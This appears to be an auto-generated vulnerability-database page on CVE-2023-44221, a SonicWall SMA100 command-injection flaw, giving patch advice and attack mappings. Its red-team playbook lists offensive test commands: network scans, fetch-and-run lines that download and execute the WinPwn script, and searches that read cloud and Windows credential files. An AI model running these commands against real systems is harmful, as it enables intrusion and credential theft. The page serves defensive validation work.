CVE-2023-44221
Overview
This vulnerability is an OS command injection affecting the SonicWall SMA100 SSL-VPN management interface. It arises from improper neutralization of special characters in user-supplied input within the administrative interface, allowing crafted input to be executed as system commands. The flaw specifically impacts the SMA100 management component responsible for processing administrative commands.
Vulnerability Description
Improper neutralization of special elements in the SMA100 SSL-VPN management interface allows a remote authenticated attacker with administrative privilege to inject arbitrary commands as a 'nobody' user, potentially leading to OS Command Injection Vulnerability.
Impact
An attacker with administrative credentials can execute arbitrary OS commands on the SonicWall SMA100 device with 'nobody' user privileges. This enables unauthorized manipulation of the device, potential data exposure, and lateral movement within the network environment. The prerequisite is valid administrative authentication to the SSL-VPN management interface. Successful exploitation may lead to disruption of network security controls and compromise of the device's integrity and availability.
Solution
SonicWall has released security updates addressing this vulnerability in affected SMA100 firmware versions. Administrators should apply the patches as detailed in the SonicWall PSIRT advisory SNWLID-2023-0018 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0018. Following the vendor's instructions to upgrade to the fixed firmware versions is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the management interface of specific SonicWall SSL-VPN appliances stems from improper handling of special elements, which allows for command injection by an authenticated user with administrative privileges. This flaw occurs when input is not adequately sanitized, enabling an attacker to execute arbitrary commands on the underlying operating system as a 'nobody' user. The implications of this vulnerability are significant, as it can lead to unauthorized access to sensitive system functions and data, potentially compromising the integrity and confidentiality of the entire system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with administrative access could craft malicious input that exploits the lack of proper input validation in the management interface. This could be achieved by leveraging existing access to the system, such as through stolen credentials or exploiting weak password policies. Once the attacker successfully injects commands, they could manipulate system processes, access sensitive information, or even escalate privileges further, leading to a more extensive compromise of the network environment.
The real-world impact of this vulnerability is considerable, particularly for organizations relying on SonicWall SSL-VPN appliances for secure remote access. The potential for command injection could lead to data breaches, loss of sensitive information, and disruptions in business operations. The financial repercussions of such incidents can be severe, including regulatory fines, loss of customer trust, and the costs associated with incident response and remediation efforts. Furthermore, the risk of reputational damage cannot be understated, as organizations may face long-term consequences from public exposure of security failures.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching affected SonicWall appliances is crucial to ensure that any security fixes are applied promptly. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential vulnerabilities in their systems. Employing intrusion detection systems (IDS) can help monitor for unusual activity that may indicate exploitation attempts. Furthermore, implementing strict access controls and enforcing strong authentication mechanisms can reduce the risk of unauthorized access to the management interface.
In conclusion, the command injection vulnerability in the SonicWall SSL-VPN management interface presents a serious threat to organizations utilizing these devices. The potential for exploitation by authenticated users with administrative privileges highlights the need for robust security practices, including regular updates, proactive monitoring, and stringent access controls. By adopting a comprehensive security strategy, organizations can mitigate the risks associated with this vulnerability and protect their critical assets from potential exploitation.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sonicwall | Sma 200 Firmware | All |
cpe:2.3:o:sonicwall:sma_200_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 210 Firmware | All |
cpe:2.3:o:sonicwall:sma_210_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 400 Firmware | All |
cpe:2.3:o:sonicwall:sma_400_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 410 Firmware | All |
cpe:2.3:o:sonicwall:sma_410_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 500v Firmware | All |
cpe:2.3:o:sonicwall:sma_500v_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-44221 |
| psirt.global.sonicwall.com |
GitHub CVE
vendor-advisory
|
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0018 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-44221 |